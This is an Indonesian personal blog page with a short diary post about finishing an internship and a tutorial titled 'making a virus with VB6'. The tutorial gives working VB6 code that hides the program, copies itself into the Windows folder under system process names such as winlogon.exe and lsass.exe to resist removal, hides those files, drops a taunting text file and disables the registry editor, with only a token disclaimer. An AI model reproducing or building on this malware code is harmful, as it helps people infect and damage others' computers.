Top Menu

My Alexa

Saturday, February 24, 2007

Udah Slese PkLna

udah dua bulan ini jarang banget kewarnet. cz 2bulan ini kan aku pkl,, tapi ckarang udah slese,,,, ngg bisa kebayang dulunya, pas molai pkl.. hufff stress,cape,pengen cpet2 brakhir...
tapi, eh.. ckarang udah slese kok malah ada rasa nyesel?? cepet banget rasanya dua bulan itu. karna aku udah bradaptasi ma suasana bengkel,. rasanya udah ngga biklin stress lagi.. malahan kmaren pas waktunya pamitan, sama orang bengkel ngga boleh cpet2 pulang, katanya macem2.. cape de,,, ckarang yang bikin aku pusing,,, yup. bikin laporan yang dua bulan ini belon aku bikin atu kata pun,, duh3 pucink lagi pucink lagi,,,,,

lupakan sejenak smuanya,,, karna besok senin aku mo liburan ke bandung.... sapa yang mo ikut??? halah..

Links to this post

<$BlogBacklinkTitle$>: <$BlogBacklinkSnippet$>
posted by <$BlogBacklinkAuthor$> @ <$BlogBacklinkDateTime$>

Create a Link

Sunday, February 04, 2007

bikin virus pake VB6 '1'

Bikin Virus Pake VB6

Oke dewh.. karna udah banyak yang minta cara bikin virus, aku pos dikit dewh gimana cara bikin virus pake VB6.
seperti biasa, tulisan dibawah ini hanya buat nambah pengetahuan kita aja. dan nggak boleh buat kejahatan.
Dan aku nggak bertanggung jawab atas segala penyalahgunaan isi tulisan diblog ini..
Ok. kalo kamu setuju, lanjut.....

Sekarang e sekarang, kita mo bikin virus pake VB6.
pertama, bikin form buat virus kamu pake standard exe aja.
dari pade bingung
ngejelasinnya aku kasih kodenya aja. biar pada blajar skalian.kan udah gedhe..
'cape dewh'

buat postingan yang pertama ni tak kasih kode yang simpel aja. yang ngga pake deklarasi. biar gak terlalu bingung. 'aku aja masih bingung' hehehe,,

1. Nyembunyiin Form

Private Sub Form_Load()
App.TaskVisible = False
End Sub

2. Kopiin Diri Sendiri

misalna mo dikopiin ke direktori C:\Windows dengan nama winlogon.exe csrss.exe ato services.exe

biar prosesnya sulit di kill pake taskmanager, nama virus pake nama system pada windows

On Error Resume Next
FileCopy App.EXEName + ".exe", "C:\WINDOWS\winlogon.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\csrss.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\services.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\smss.exe"
FileCopy App.EXEName + ".exe", "C:\WINDOWS\lsass.exe"

3. Bikin Direktori ato folder

misalnya bikin folder di windows direktori
On Error Resume Next
MkDir "C:\WINDOWS\virus"

4. Mengganti Atribut file

bisa juga buat ngganti atribut folder
Attributes = 0 0 berarti normal
Attributes = 1 1 berarti read only
Attributes = 2 2 berarti hidden
Attributes = 3 3 berarti read only + hidden
Attributes = 4 4 berarti system
Attributes = 5 5 berarti system + read only
Attributes = 6 6 berarti system + hidden

Set sembunyi = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
sembunyi.GetFile("C:\WINDOWS\winlogon.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\csrss.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\services.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\smss.exe").Attributes = 2
sembunyi.GetFile("C:\WINDOWS\lsass.exe").Attributes = 2
tapi kalo folder pakenya
sembunyi.GetFolder("C:\WINDOWS\").Attributes = 2

5. Bikin Pesan Virus

bikin pesen pake text file
On Error Resume Next
Set bikinpesen = CreateObject("Scripting.FileSystemObject")
Set isipesen = bikinpesen.Createtextfile("C:\baca saya.txt ")
isipesen.writeline ("komputer kamu kena virus bodoh ")
isipesen.Close

6.Ngubah Registry

misalna mo disable regedit
On Error Resume Next
Set ubahreg = CreateObject("WScript.Shell")
ubahreg.regwrite "HKEY_CURRENT_USER\software\
microsoft\windows\currentversion\policies\system\
disableregistrytools", 1, "REG_DWORD"

7.Nghapus Registry

misalna mo ngehapus HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon

On Error Resume Next
Set hapusreg = CreateObject("WScript.Shell")
hapusreg.regdelete "HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows NT\CurrentVersion\Run\ServLogon"

udah dulu yawh, besok disambung lagi... dah ngantuk ni,, padahal cuman bentar. yang lama nulisnya..

besok bikin virusna yang pake deklarasi biar nggak terkesan bodo virusnya. skalian aku pelajari dulu. cz, aku ndiri nggak bgitu paham pake deklarasi.. hehe,,, cape dewh'' :)

ato lihat cara2 lain virus.. bisa berbagi, ama download segala... linknya ada disini

ato dapetin duit lewat internet .. di hostlocal.co.cc

Labels: Virus

Links to this post

<$BlogBacklinkTitle$>: <$BlogBacklinkSnippet$>
posted by <$BlogBacklinkAuthor$> @ <$BlogBacklinkDateTime$>

Create a Link

Search

Trace Me

Blogs that link here View my profile Technoraty

Top Menu

Category

Recent Post

My Alexa

Saturday, February 24, 2007

Udah Slese PkLna

Links to this post

Sunday, February 04, 2007

bikin virus pake VB6 '1'

Bikin Virus Pake VB6

Links to this post

Search

Archives

Trace Me